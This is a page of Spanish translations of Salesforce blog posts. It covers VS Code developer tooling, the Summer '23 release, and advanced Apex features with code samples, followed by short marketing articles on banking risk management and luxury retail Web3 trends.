Eso no es todo sobre las extensiones de Salesforce. Agregan a VS Code muchas más capacidades, como resaltado de sintaxis, finalización de código y validación de CSS para Lightning Web Components, Aura Components, Apex, SOQL y Visualforce.
También muestran una pestaña de prueba que hace que sea mucho más fácil ejecutar y escribir pruebas de Apex y Lightning Web Components.
Y, por último, también facilitan la depuración de Apex, gracias a Apex Replay Debugger .
Además de eso, algo muy bueno de VS Code es que puede agregar toneladas de extensiones creadas por desarrolladores de todos los diferentes ecosistemas. Hay extensiones para ayudarlo con el control de versiones y con el análisis estático de código (como PMD ). Existen extensiones para Prettier y ESLint que te dan avisos cuando el código no cumple con sus reglas. Hay extensiones para casi todo lo que pueda necesitar, ¡incluso para usar Chat GPT! Eche un vistazo al VS Code Marketplace para ver todas las extensiones disponibles o, mejor aún, ¡cree la suya propia!
¡Vaya, eso fue mucho! En esta publicación de blog, aprendió sobre las herramientas de desarrollador que todo desarrollador de Salesforce debe conocer y utilizar. Al dominar estas herramientas, se convertirá en un desarrollador mucho más productivo, rápido y feliz. Si quieres aprender todo este contenido en formato de video, mira nuestro episodio de codeLive . Si trabaja con sandboxes, puede ampliar su conocimiento sobre cómo trabajar con sandboxes y la CLI de Salesforce leyendo nuestra serie de publicaciones de blog . Y si tiene preguntas, no dude en hacerlas en Salesforce Developers Trailblazer Community . ¡Feliz codificación!
Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Puedes seguirla en Linkedin , Twitter o GitHub .
Agregar a Slack Suscríbete a RSS
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Sabemos que cada versión trae consigo muchas funciones nuevas y sorprendentes, y puede haber mucho que digerir. Con Learn MOAR, empaquetamos el lanzamiento y se lo ofrecemos en un formato fácil de digerir con blogs, videos y más.
Siga y complete un trailmix de Learn MOAR Summer '23 para administradores o desarrolladores para obtener una insignia exclusiva de la comunidad.
¡El lanzamiento de Summer '23 está aquí y está repleto de funciones para desarrolladores! En esta publicación de blog, resumiremos los aspectos más destacados, para que pueda obtener una descripción general de las novedades y decidir qué es lo más interesante para usted. En publicaciones posteriores de Learn MOAR, profundizaremos en algunos de estos aspectos destacados, para que pueda explorarlos con mayor detalle. Mantenerse actualizado con las últimas innovaciones lo ayudará a aumentar su experiencia y convertirse en un desarrollador más exitoso.
Comencemos hablando de Lightning Web Components, que presentará una gran cantidad de nuevas funciones en Summer '23.
Un par de funciones que estaban en Beta ahora estarán disponibles de forma general (GA). Esto incluye DOM ligero , que permite integraciones de terceros y estilo global, Lightning Web Security para LWC y Aura , que facilita el uso de bibliotecas de JavaScript de terceros en LWC. La API RefreshView , que le permite actualizar la vista de un componente, también será GA. Además, el adaptador de cable GraphQL se está moviendo a Beta, lo que significa que puede probarlo de inmediato, sin tener que registrarse para el programa piloto. Esto cambiará las reglas del juego sobre cómo se leen los datos en Lightning Web Components.
Hay varias mejoras en la sintaxis de LWC que facilitarán la escritura de sus componentes. Se está lanzando una nueva directiva de plantilla lwc:spread
(consulte los documentos ), que le permite distribuir propiedades de objetos a un componente secundario, lo que reduce significativamente la cantidad de código que necesita escribir. A partir de Summer '23, podrá establecer un valor dinámico para el atributo de ranura de un elemento HTML. Además, se habilitará la inyección programática de hojas de estilo, lo que le permitirá establecer la propiedad estática de las hojas de estilo para un componente.
¿Ha comenzado a escribir pruebas de extremo a extremo con UTAM? Esta versión también trae mejoras a las capacidades de manejo de errores de UTAM y una extensión de Chrome para identificar objetos de página de UTAM (en Beta).
Salesforce Mobile App Plus (Salesforce App+) es una versión de la aplicación Salesforce Mobile que habilita LWC Offline. LWC Offline es un entorno de tiempo de ejecución avanzado para componentes web Lightning que aumenta el tiempo de ejecución estándar con funciones diseñadas específicamente para uso móvil y sin conexión. Si bien LWC Offline anteriormente solo estaba disponible en la aplicación móvil Salesforce Field Service, Salesforce App+ le permite usarlo en un contexto más genérico. Salesforce App+ se cerró en Beta en Spring '23 y se trasladará a GA en Summer '23. Salesforce App+ está disponible bajo la licencia Salesforce Mobile Plus.
Tener una plataforma robusta es tan importante como tener capacidades de integración sólidas. Es por eso que la versión Summer '23 trae muchas funciones de integración nuevas.
En esta versión, ampliamos la API REST de Salesforce para admitir la recuperación de elementos secundarios mediante la definición de hasta cinco niveles de consultas SOQL anidadas . También ampliamos la API REST de Connect y la API de Connect (Connect in Apex) para permitir que los desarrolladores creen y administren credenciales con nombre mediante programación. Además, la API GraphQL, que se hizo GA en Spring, ahora admitirá consultas con funciones agregadas y mejorará sus capacidades de manejo de errores . Los eventos de la plataforma también incluyen nuevas funciones, como la capacidad de agregar una clase de devolución de llamada a su código de publicación de Apex , que proporcionará una confirmación cuando el evento de la plataforma se publique correctamente. Además, podrá obtener métricas de uso de eventos de la plataforma consultando el objeto PlatformEventUsageMetric
.
También se están mejorando las capacidades de integración en Flow. Flow Builders ahora podrá configurar llamadas HTTP GET a sistemas externos que no tienen una especificación de API abierta a través de la función Servicios externos. Las llamadas HTTP POST están en Beta. Si es un Muley , puede leer más sobre las innovaciones de Flow plus MuleSoft en la siguiente sección.
Además de todo esto, el adaptador GraphQL de Salesforce Connect que anunciamos en febrero se mudará a GA, y Event Relay ahora admitirá Shield Platform Encryption y tendrá una nueva interfaz de usuario de configuración fácil de usar.
Aunque MuleSoft, Tableau y Slack siguen sus propios ciclos de lanzamiento, son partes integrales del ecosistema de Salesforce y de vital importancia para los desarrolladores.
Una de las innovaciones más recientes de MuleSoft es Anypoint Code Builder (Beta), el IDE de próxima generación de MuleSoft para diseñar, desarrollar e implementar API, integraciones y automatización desde un solo entorno. ¡Compruébalo si aún no lo has hecho!
Si leyó la sección "Integración de la plataforma" anterior, es posible que haya recibido un spoiler: MuleSoft se está integrando en Flow más que nunca. En Summer '23, habrá una nueva sección en la interfaz de usuario de configuración de Salesforce Platform, desde la cual podrá configurar y administrar los servicios de MuleSoft , que luego se pueden usar en Flow Builder. Además, el soporte de MuleSoft se está agregando a Flow Orchestrator , lo que facilita la creación de procesos comerciales automatizados de varios pasos que utilizan los servicios de MuleSoft.
Por último, se lanzará Anypoint Experience Hub . Es la próxima evolución de Anypoint API Community Manager y permite a los clientes crear portales de API en minutos para una mejor participación de API.
Si trabaja con API, es posible que esté familiarizado con la colección Postman de API de Salesforce . Esta colección se ha vuelto muy popular y es ampliamente adoptada en el ecosistema de Salesforce, con actualmente más de 500 bifurcaciones y más de 800 estrellas. Tableau recientemente se subió al carro al agregar sus propias muestras de la API REST de Tableau a la colección. Para obtener más información, lea nuestra entrada de blog .
Si le gustó la colección, le encantará la innovación más reciente de Tableau, cuya vista previa pública se anunció en la Conferencia de Tableau (TC) 2023 del 9 al 11 de mayo. El nuevo Tableau Embedding Playground ofrece a los desarrolladores un entorno de aprendizaje interactivo para desarrollar rápidamente soluciones de análisis integradas. Integre visualizaciones de Tableau y agregue rápidamente interacciones que establezcan filtros y parámetros, obtengan marcas y datos seleccionados, utilizando los componentes básicos de los métodos y las propiedades de la API de incorporación. En el futuro, use sus propias visualizaciones en Tableau Cloud, Tableau Server o Tableau Public para desarrollar sus aplicaciones personalizadas con código que puede exportar y ejecutar en cualquier lugar.
La diversión no se detiene ahí. Para admitir análisis integrados personalizados y seguros, Tableau introdujo recientemente dos nuevas funciones de usuario que permiten a los desarrolladores y administradores pasar cualquier atributo de usuario en tiempo de ejecución dentro del flujo de autenticación integrado. Para obtener más información, leanuestra entrada de blog .
Finalmente, nos complace compartir que Slack acaba de anunciar la disponibilidad general de su plataforma Slack de próxima generación. En la nueva plataforma, puede crear aplicaciones modulares mediante el desarrollo de componentes básicos, como funciones, flujos de trabajo y activadores, mediante TypeScript y Deno . Ahora puede implementar en la infraestructura administrada por Slack, ahorrando tiempo y aumentando la eficiencia. En el futuro, los usuarios de Slack podrán aprovechar cada capacidad que ofrece y combinarlas con otras funciones, servicios y proveedores de software para crear automatizaciones potentes y personalizadas. La plataforma también incluye una CLI, que puede usar para desarrollar, probar e implementar sus funciones y flujos de trabajo. Para obtener más información al respecto y obtener experiencia práctica, diríjase a la guía de inicio rápido .
Nuestros gerentes de producto y defensores de desarrolladores están de vuelta para compartir las últimas características y funcionalidades que llegarán en Summer '23. Para ayudarlo a desarrollarse más rápido, hay una gran cantidad de contenido nuevo del equipo de relaciones con desarrolladores que cubre sus nuevas características favoritas. ¡Asegúrese de consultar Release Readiness Live el viernes 19 de mayo a las 9:00 a. m. PST, y lea lo último en el blog de desarrolladores de Salesforce para conocer más innovaciones relacionadas con desarrolladores en el lanzamiento de Summer '23!
Alba Rivas trabaja como Principal Developer Advocate en Salesforce. Actualmente se enfoca en el desarrollo de Lightning Web Components y Slack. Puedes seguirla en Twitter o Linkedin .
Agregar a Slack Suscríbete a RSS
Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .
El enlace a la publicación original, lo encontrarás al final de este artículo.
…
Apex es una habilidad única que los desarrolladores deben dominar al crear soluciones personalizadas con Salesforce. Hay algunos conceptos básicos que son esenciales. Ciertas cosas, como la sintaxis y el flujo de control, son como aprender cualquier otro idioma. Otras cosas, como operaciones masivas, límites reguladores y disparadores, son particulares de Apex y cómo se implementa en la Plataforma de Salesforce. Una vez que tenga una idea de estas características y modismos clave, ¿a dónde va después?
En esta publicación, aprenderá sobre algunas características de Apex que son críticas para cualquier desarrollador de Apex que busque mejorar más allá de lo básico, junto con dónde puede ir para aprender sobre ellas.
Nota: Siempre que sea posible, los ejemplos de código en esta publicación se toman directamente o se adaptan de la aplicación de muestra Recetas de Apex o la Guía para desarrolladores de Apex. Ver las referencias al final del artículo.
En estos días, si desea un proceso automatizado o una interfaz de usuario similar a un asistente, Flow siempre debe ser una opción que considere. El alcance, la flexibilidad y la madurez de Flow han crecido enormemente. Aún así, es raro que los problemas comerciales complejos se puedan resolver sin ningún tipo de código.
Introduzca Apex invocable.
La anotación @InvocableMethod
se usa para definir métodos llamados por Flow. Y @InvocableVariable
muestra los parámetros para que Flow pase datos a su código Apex. ¿Por qué llamaría a Apex desde Flow? Quizás la lógica de su flujo se está volviendo demasiado compleja. Tal vez su automatización necesite realizar una operación que no sea accesible para Flow. En casos como estos, Apex puede ser su amigo.
Aquí hay una ilustración básica del uso de la anotación @InvocableMethod
:
<dx-code-block title language="java" code-block="public class AccountQueryAction { @InvocableMethod(label='Get Account Names' description='Returns the list of account names corresponding to the specified account IDs.' category='Account') public static List getAccountNames(List ids) { List accountNames = new List(); List accounts = [SELECT Name FROM Account WHERE Id in :ids]; for (Account account : accounts) { accountNames.add(account.Name); } return accountNames; } }»>
Este ejemplo de la Guía para desarrolladores de Apex ilustra cómo la anotación marca esto como un método que Flow puede invocar. Tenga en cuenta que la anotación también define detalles como una etiqueta y una descripción que determinan lo que se muestra al usuario de Flow Builder.
Un efecto secundario importante de las anotaciones de @Invocable…
del que pocas personas hablan es que esto muestra automáticamente su Apex al punto final de la API <INSTANCEURL>/data/<VERSION>/actions/custom/apex
.
Otra cosa útil que puede hacer al invocar Apex desde su flujo es acceder a los diferentes tipos de Apex asíncrono. Lo que trae a colación la siguiente característica de Apex que se debe abordar.
La ejecución asíncrona desacopla una acción que queremos realizar del contexto de ejecución actual. Siguiendo las mejores prácticas actuales, existen tres formas de ejecutar Apex de forma asincrónica: en cola, programable y por lotes. Aunque técnicamente el bus de eventos es asíncrono, lo omitiremos por el momento.
Si solo necesita activar un poco de código para ejecutarlo de forma asincrónica, la opción en cola es la herramienta de referencia. Si tiene varias tareas asincrónicas, queueable las ejecuta de manera determinista en orden. Debido a que están en cola en orden, también puede encadenar una llamada asíncrona de otra. Y Apex en cola admite entradas de objetos o tipos primitivos.
Apex programado funciona tal como lo esperaría: ejecute algún código de Apex en un horario. Batch Apex está optimizado para trabajar con conjuntos de datos muy grandes. Para utilizar Apex asíncrono, debe crear una clase de Apex que implemente una interfaz específica: Queueable
, Schedulable
o Batchable
, respectivamente.
Nota: algunos desarrolladores pueden estar familiarizados con la anotación @Future
para hacer que un solo método sea asincrónico, también conocido como "métodos futuros". Los métodos futuros, aunque rápidos y fáciles, tienen limitaciones que los hacen menos útiles. No hay nada que pueda hacer con un método futuro que no se pueda hacer mejor con una clase en cola. Por este motivo, no recomendamos implementaciones de producción con métodos futuros.
Por lo tanto, echemos un vistazo a un ejemplo de una clase de Apex que se puede poner en cola.
<dx-code-block title language="Java" code-block="public with sharing class QueueableRecipes implements Queueable { public static void execute(QueueableContext qc) { List accounts = [ SELECT Id, Description FROM Account LIMIT 1000 ]; for (Account acct : accounts) { acct.Description += ‘ Edited by Queueable class’; } try { update accounts; } catch (DmlException dmle) { System.debug( LoggingLevel.INFO, ‘real life use cases should do more than just logging the error: ‘ + dmle.getMessage() ); } }
} «>
Todas las interfaces asíncronas de Apex tienen un método execute()
que debe implementarse como se muestra arriba. Para ejecutar su clase Queueable
, debe ponerla en cola.
Si bien no se muestra en este ejemplo de la aplicación de muestra Recetas de Apex, para pasar datos a su cola, anule el constructor con los parámetros que necesita.
El término "Apex dinámico" es un poco inapropiado. O, al menos, podría malinterpretarse como que Apex de alguna manera funciona como un lenguaje de programación dinámico. Esto no es a lo que se refiere (por ejemplo, no hay Apex
función eval
!).
Dynamic Apex es un código que se adapta a diferentes tipos de SObject ( Account
, Contact
, My_Custom_Object__c
, etc.) en tiempo de ejecución. Esto se hace abstrayendo referencias específicas de SObject. La clave es usar la superclase SObject
cuando se trabaja con datos. También utilizará las funciones de "descripción" de Apex para detectar con qué objetos y campos está trabajando y qué puede hacer con ellos (por ejemplo, si este usuario puede consultar este objeto).
Esta es una habilidad esencial para los desarrolladores de ISV. A menudo, creará una aplicación que debe adaptarse al entorno local del cliente que instala su aplicación. Esto significa que su código necesita detectar, describir y adaptar su comportamiento dependiendo de datos conocidos o incluso desconocidos.
Aunque es esencial para un desarrollador de ISV, también es importante para cualquier persona que quiera escribir código más reutilizable.
Tome este ejemplo de consulta muy básico:
<dx-code-block title language="Java" code-block="List accts = [SELECT Id, Name, Website FROM Account];»>
Esto funcionará todo el día consultando los datos de la cuenta. Pero, ¿y si queremos construir una consulta para cualquier SObject?
Para convertir esto en un Apex "dinámico", necesitamos abstraer las referencias de campo y SObject específicas. Y tal vez lo incluiríamos en un método que permitiera a otro desarrollador pasarlos. También podríamos verificar para asegurarnos de que el usuario tenga los permisos de objeto para realizar la operación que estamos a punto de intentar.
<dx-code-block title language="Java" code-block="public static List executeDynamicQuery(Schema.DescribeSObjectResult obj, List fields){ // Create a result-set list List resultRecords; if (obj.isQueryable()){ // Set up a query string String queryTemplate = ‘SELECT {0} FROM {1}’; List queryDetails = new List{String.join(fields, ‘, ‘), obj.getName()}; String queryString = String.format(queryTemplate, queryDetails); // Run your query resultRecords = Database.query(queryString); } return resultRecords; } «>
Lo anterior construye una consulta para un SObject que se pasa al método y una lista arbitraria de campos. Utiliza el objeto DescribeSObjectResult
para detectar la capacidad de consulta e inferir el nombre de la API de SObject al construir y ejecutar la consulta. A continuación, debe invocarlo.
Así es como podríamos hacer eso con los objetos Cuenta y Contacto, respectivamente:
<dx-code-block title language="Java" code-block="List accountRecords = DynamicApexClass.dynamicQuery(Account.SObjectType.getDescribe(), new List{‘Id’,’Name’,’Website’}); List contactRecords = DynamicApexClass.dynamicQuery(Contact.SObjectType.getDescribe(), new List{‘Id’,’FirstName’,’LastName’}); «>
Este ejemplo no aborda algunos riesgos de SOQL dinámico, como la inyección de SOQL. Por lo tanto, asegúrese de leer sobre Apex dinámico. Aprender a escribir Apex seguro hará que sea menos probable que implemente código vulnerable en su organización (o la de un cliente). El enlace de variables en sus consultas SOQL es una herramienta clave para proteger su Apex dinámico de ser explotado. El método escapeSingleQuotes()
es otra herramienta más antigua que también puede encontrar. El modo de usuario también es clave para garantizar que cualquier acción realizada tenga que cumplir con todas y cada una de las restricciones del usuario que la ejecuta.
Para obtener un ejemplo más completo y seguro de Apex dinámico, consulte la receta de Apex del método invocable en la aplicación de ejemplo Recetas de Apex. Esa acción invocable funciona con el objeto Cuenta o Tarea.
Con Salesforce, hay algunas formas de realizar la integración sin código. Específicamente, si solo necesita una aplicación o servicio de cliente para obtener datos de Salesforce, hay muchas API que se muestran automáticamente sin ningún tipo de codificación en el lado de Salesforce. Incluso se ajustan a su esquema personalizado. Si está integrando su organización a un sistema externo compatible con OData, puede usar Salesforce Connect y objetos externos (nuevamente, no se requiere código).
Pero a veces, es posible que deba llamar desde su organización a un servicio externo. O tal vez desee mostrar un punto final personalizado que agrupe más complejidad que una de las API estándar. Nuevamente, Apex contiene funciones que admiten tanto la aparición de nuevas API personalizadas como la llamada a servicios web.
Al pensar en API personalizadas, en estos días, la mayoría de los desarrolladores pensarían en API REST. Puede crear una API REST personalizada en Salesforce Platform creando una clase de Apex que se anota con la anotación @RestResource
. Parte del trabajo de la anotación es definir también el nombre del recurso. Todas las API REST personalizadas basadas en Apex se encuentran en <INSTANCEURL>/services/apexrest/
.
Para definir los comportamientos que necesita admitir, hay una serie de anotaciones de métodos que corresponden a verbos HTTP, como @HttpGet
y @HttpPost
. La clase RestContext
contiene un conjunto de elementos de acceso para obtener el estado de la solicitud HTTP entrante y la respuesta saliente que devuelve. A continuación, se muestra un ejemplo de un extremo REST básico que aparece en el método HTTP GET. Tenga en cuenta cómo se utilizan las anotaciones.
<dx-code-block title language="Java" code-block="@RestResource(urlmapping='/integration-service/*')
global inherited sharing class CustomRestEndpointRecipes( … @HttpGet global static String getRecordsToReturn() { RestResponse response = RestContext.response; try { List accounts = [ SELECT Id, Name, Phone, Website FROM Account WITH USER_MODE ]; response.statusCode = 200; String serializedAccounts = JSON.serialize(accounts); return serializedAccounts; } catch (QueryException qe) { System.debug( LoggingLevel.INFO, ‘Failed to query a list of Accounts. Error is: ‘ + qe.getMessage() ); response.statusCode = 400; return qe.getMessage(); } }
} «>
Si su requisito es crear un servicio SOAP, también hay un conjunto de características para admitir ese protocolo.
Fuera del código real, necesitará una sesión autorizada para acceder a cualquier servicio web que cree. Pero si ya tiene un cliente autorizado, la solicitud es solo otra llamada al punto final personalizado que defina.
La llamada a un punto final REST externo se realiza a través de un conjunto de clases. La clase HttpRequest
le permite definir los parámetros de cómo se comportará su solicitud (punto final, verbo HTTP, encabezados, etc.). La solicitud se realiza a través del método estático Http.request()
. Esto devuelve un objeto HttpResponse
que le proporciona los datos devueltos o el error si la solicitud falla.
Nota: Las clases HttpRequest
y HttpResponse
son las mismas para las llamadas REST y los servicios REST personalizados.
Se requiere cierta configuración para su texto destacado. Específicamente, deberá configurar una credencial con nombre en la mayoría de los casos. Esta configuración le permite descargar el protocolo de enlace de autenticación de su código. Aunque, si está llamando a un servicio anónimo no autenticado, también puede optar por usar una configuración de sitio remoto más simple.
= 200 && response.getStatusCode()
El ejemplo anterior hace una llamada simple a un punto final. Tenga en cuenta que no se utilizan las opciones para establecer encabezados ni usar una credencial con nombre, ya que esta solicitud es para una API simple que no requiere autenticación.
La transmisión de eventos es una herramienta valiosa para crear arquitecturas débilmente acopladas en aplicaciones complejas. La plataforma de Salesforce implementa la transmisión de eventos a través de dos características principales: eventos de plataforma y captura de datos modificados. La columna vertebral de estas funciones es el bus de eventos.
De la Guía para desarrolladores de eventos de plataforma, el bus de eventos es "Un servicio de entrega y almacenamiento de eventos de múltiples inquilinos y múltiples nubes basado en un modelo de publicación-suscripción". Tanto su organización como los sistemas externos pueden publicar y suscribirse a eventos. Por supuesto, es clave que si publicas un mensaje, algo debe haberse suscrito para que suceda cualquier otra cosa.
Los eventos de plataforma representan los datos que pasan a través del bus de eventos. Los eventos se procesan en el orden en que se reciben. Una forma de pensar en ellos es como un SObject efímero que se almacena temporalmente en el bus de eventos en su camino hacia su destino. De hecho, los metadatos de un evento se almacenan en el mismo lugar de su proyecto que sus SObjects. Puede distinguir los eventos de plataforma personalizados de los SObjects por su sufijo __e
(por ejemplo Order_Complete__e
).
Una vez que completa un evento con sus datos, el método EventBus.publish()
es similar a una llamada DML en su SObject normal. Tenga en cuenta el código a continuación que publica un evento.
En Apex, se suscribe a un evento creando un disparador asíncrono para él. Pero los disparadores asíncronos son diferentes de la operación DML transaccional estándar de un disparador normal. Por esta razón, debe tener en cuenta algunas diferencias. Con disparadores asíncronos, el tamaño del lote es diferente. Necesitas configurar tu usuario de ejecución. Las operaciones de activación de eventos también se pueden volver a intentar. Asegúrese de conocer estas diferencias a medida que comience a implementar activadores de eventos de plataforma. Tenga en cuenta el disparador a continuación.
A diferencia de los disparadores DML típicos, los disparadores de eventos de plataforma solo admiten el contexto after insert
. Tampoco existe una acción explícita para suscribir un disparador a un evento de plataforma. Una vez que el activador se implementa en su organización, se suscribe automáticamente.
Además de Apex, los eventos de la plataforma pueden activarse y suscribirse mediante sistemas externos y Flow. Son clave en las integraciones débilmente acopladas. Como tal, es raro que Apex active y se suscriba al mismo evento.
Hemos cubierto mucho. Pero de ninguna manera esto es todo lo que necesita saber como desarrollador de Apex. Los elementos cubiertos se basan en algunas características bastante comunes. Pero es posible que deba aprender otras funciones de Apex según los requisitos de su proyecto. Aquí hay algunos otros elementos que debe tener en cuenta.
Caché de plataforma : si proviene de otras plataformas de programación, estará familiarizado con la noción de una variable estática o global persistente en todas las transacciones. Pero en Apex, las estáticas se limitan a la transacción. La memoria caché de la plataforma es una característica de Apex que permite la persistencia de datos en memoria entre transacciones. Si encuentra un retraso en el rendimiento relacionado con la recuperación de datos, la memoria caché de la plataforma puede ayudar.
Marcos de activación : no es una característica del lenguaje, sino bibliotecas que facilitan el uso de activadores. Estos proyectos creados por la comunidad abstraen el código de activación repetitivo que a menudo necesita escribir. Al usar un marco de activación, debería permitirle concentrarse solo en la lógica que debe abordarse. Para algo más que un disparador trivial, se recomienda encarecidamente adoptar un marco. Y conozco a algunos que argumentarían que debería considerar un marco incluso para ese disparador trivial. Pero este no es el lugar para debatir el tiempo de valor frente a la optimización prematura. Hay una implementación muy simple de esto en la aplicación Apex Recipes .
SOSL : el lenguaje de búsqueda de objetos de Salesforce ( SOSL ) es el primo subestimado de SOQL. SOSL permite consultas basadas en texto no deterministas. Es muy eficiente para encontrar datos de texto en comparación con la búsqueda de campos de texto con SOQL y comodines. Admite la búsqueda de varios SObjects simultáneamente y contiene funciones para filtrar de forma determinista los resultados de la búsqueda. Si tiene consultas SOQL de texto que son lentas, definitivamente consulte esta herramienta.
AuraEnabled : para mostrar el código Apex personalizado en sus componentes web Lightning (LWC), esta anotación es clave. Es muy probable que ya esté usando este si comenzó su viaje de Salesforce creando LWC. Pero si aún no lo ha usado, búsquelo en cualquier proyecto que involucre una interfaz de usuario personalizada. ¿Por qué "Aura" habilitado si es para LWC? Bueno, esta anotación se creó inicialmente para admitir el predecesor de LWC, el marco Aura. Tenía sentido no reinventar una nueva anotación cuando la existente funcionaría igual de bien para LWC.
Cada viaje para aprender un nuevo lenguaje de programación tiene algunas características clave que todos deben conocer. La sintaxis básica, el control de flujo y el modelo de ejecución de la plataforma son fundamentales para comprender. Pero una vez que tenga esos conceptos básicos, trabajar en funciones más avanzadas es clave para aumentar su conjunto de habilidades. Las acciones invocables, el Apex asíncrono, el Apex "dinámico", la integración y el bus de eventos son funciones que probablemente utilizará a medida que avanza. Al familiarizarse con estos ahora, no solo se preparará para abordar proyectos en el futuro, sino que también podrá tomar mejores decisiones de solución.
Si cree que está listo para aprender, los senderos para desarrolladores intermedios y avanzados en Trailhead pueden ayudarlo a encaminarse con todos estos temas y más.
Aplicación de muestra Apex Recipes en Github
Guía para desarrolladores de Apex
Guía de referencia de idiomas de Apex
Centro de desarrolladores de Apex
Peter Chittum ha trabajado en software empresarial y habilitación para desarrolladores durante más de 20 años. Pasó los últimos 12 años ayudando a miles de desarrolladores a tener éxito en la plataforma de Salesforce, y más recientemente lideró el equipo de promotores de desarrolladores en Salesforce. Pasa su tiempo libre con su familia, anda en bicicleta de montaña, cocina y toca música. Sígalo en Twitter (@pchittum), LinkedIn (en/PeterChittum) o BlueSky Social (@pchittum.bsky.social).
Agregar a Slack Suscríbete a RSS
Los eventos recientes en la industria bancaria , como la caída de Silicon Valley Bank (SVB) , han causado conmoción e incertidumbre entre los clientes. Recuperar esa confianza requerirá un enfoque proactivo para administrar los riesgos en la banca y mejorar la forma en que los bancos se comunican con sus clientes.
Al igual que SVB, los bancos con riesgos de concentración (enfocando su negocio en un determinado tipo de empresa) tienen más probabilidades de encontrar problemas de liquidez cuando ocurren eventos como estos.
Esta situación fue más una crisis de confianza que una falta de fuerza o estabilidad en la industria de servicios financieros. Pero muchos clientes bancarios no lo sabían; estaban más centrados en su cobertura de seguro de depósitos a través de la FDIC o en sacar su dinero del mercado para sortear la volatilidad.
A través de una tecnología bancaria mejorada, puede comunicarse de manera efectiva con las partes interesadas internas y externas para navegar por estas situaciones, usar datos para adelantarse al impacto del cliente y unir a sus equipos para generar confianza en el cliente.
Descubra cómo puede usar la tecnología para mitigar los riesgos en la banca, responder de manera proactiva durante las crisis y hacer crecer las relaciones con los clientes.
La transparencia es fundamental durante una crisis, ya que lo ayuda a administrar el riesgo en la banca. Mientras las cosas funcionan normalmente, tómese el tiempo para conocer a sus partes interesadas internas y externas. Personalizar sus interacciones con las partes interesadas ayuda a construir una relación más sólida con sus clientes, crear una confianza más profunda y, en última instancia, retener su base de clientes si algo sale mal.
Tómese el tiempo para conocerlos regularmente para que pueda saber cómo comunicarse mejor con ellos. ¿Necesita responder a una crisis en tiempo real? Este conocimiento inicial lo ayudará a segmentar rápidamente su base de clientes, identificar a cualquier persona en riesgo (como las empresas basadas en VC, en el caso de SVB) y asegurarles que tiene la situación bajo control.
“Ser transparente también lo ayuda a ofrecer orientación a los clientes que necesitan ser educados sobre la volatilidad del mercado de inmediato, mientras mantiene a raya otras preocupaciones de los clientes”, dijo Amir Madjlessi, director senior y asesor de la industria bancaria en Salesforce.
Como se mencionó anteriormente, centrarse en las relaciones con los clientes puede mejorar las tasas de retención y reducir la rotación. Pero eso es solo una parte de la gestión del riesgo en la banca. Puede usar sus datos para segmentar su base de clientes y seguir sus recorridos de clientes. Esto puede ayudarlo a detectar posibles problemas antes de que se conviertan en una crisis.
Datos y tecnología en la banca puede ayudarlo a administrar el riesgo y las relaciones. A través de un sistema de datos de clientes unificado, puede obtener una visión más completa de los clientes y su viaje, lo que le permite mantener un libro de negocios saludable.
Las herramientas de datos y análisis pueden ayudarlo a determinar rápidamente el desgaste de los clientes y los flujos de depósitos por diferentes segmentos y si hay una "corrida en el banco".
“El análisis puede ayudarlo a obtener información de un vistazo para ver los impactos en los planes y carteras financieras de los clientes, cómo se están desempeñando y los aumentos o disminuciones en los volúmenes que podrían generar problemas de retención”, dijo Madjlessi.
También puede profundizar en dónde existen los riesgos crediticios, de tasa de interés o de concentración, y crear planes de mitigación para abordar estas situaciones potenciales. El uso de una plataforma de datos unificada para monitorear estas métricas clave puede ayudarlo a administrar el riesgo en la banca.
La agilidad operativa puede ayudar a los bancos a actuar con rapidez y tomar decisiones más inteligentes si surge la volatilidad del mercado. En lugar de depender de una combinación de plataformas, unir las conversaciones, el intercambio de conocimientos y la toma de decisiones en un solo lugar puede ayudar a eliminar la confusión durante una crisis y conducir a una mayor productividad en tiempos saludables.
Cuando crea una cultura de datos y tiene todos los datos necesarios en un solo lugar, puede reunir fácilmente alertas, equipos y conversaciones. También puede alinearse con los problemas, tomar decisiones rápidamente y buscar y compartir conocimientos.
Una ubicación central para procesos y comunicación también puede ayudar con flujos de trabajo automatizados y una resolución de casos más rápida. En una crisis, la tecnología adecuada en la banca permite acurrucarse y pulular como un equipo para discutir lo que está sucediendo. También puede discutir los impactos del cliente, acordar un mensaje de comunicación consistente y escalar la situación si es necesario.
Puede mejorar la gestión del riesgo en la banca respondiendo rápidamente a las inquietudes, pero también asegurándose de mantener a los clientes contentos y seguros durante los altibajos financieros.
“Los bancos pueden recordar constantemente a los clientes el valor que brindan”, dijo Madjlessi, “no solo en tiempos de crisis, sino durante todo el ciclo de vida del cliente”.
Una mejor tecnología en la banca puede ayudarlo a:
Los clientes quieren una experiencia eficiente y fácil de su banco. Nuestra investigación muestra cómo puede utilizar la automatización para brindar rápidamente a sus clientes lo que necesitan.
Marcas de lujo como Gucci y Balmain están liderando la industria minorista en el uso de tecnología como tokens no fungibles (NFT) y Web3 para conectarse con los clientes y ofrecer nuevas experiencias. La creación de experiencias exclusivas y la adopción de la necesidad de autoexpresión digital de los consumidores más jóvenes son tendencias minoristas de lujo que están dando forma a cómo la industria minorista más grande en general puede interactuar mejor con los clientes.
Hoy en día, la moda de lujo tiene menos que ver con el estatus y más una forma de autoexpresión. Gen Z y Millennials exigen formas más creativas de conectarse con sus marcas favoritas. Estos clientes favorecen la co-creación y la colaboración sobre el simple consumo. También son compradores conscientes que favorecen una mayor calidad y sostenibilidad, lo que influye en las marcas de lujo para que adopten el mundo de la reventa.
Las tecnologías Web3, como blockchain, tokens y el metaverso, pueden ayudar a las empresas a profundizar las relaciones con los clientes. Vea cómo estas tecnologías pueden mejorar la lealtad del cliente y ayudarlo a lanzar líneas de productos digitales.
La adopción de tecnología como Web3 impulsa muchas de estas tendencias minoristas de lujo, pero no necesita ser una marca de alto nivel para crear este tipo de experiencia para sus clientes.
Todos tenemos una identidad digital. Su perfil de Linkedin, Instagram o Twitter son todas formas de identidad y canales para la autoexpresión.
Recientemente, hemos visto plataformas como Discord, Telegram y Roblox ganar popularidad. Y a medida que surjan más plataformas con Web3, las identidades digitales evolucionarán y la forma en que nos expresamos en ellas también lo hará.
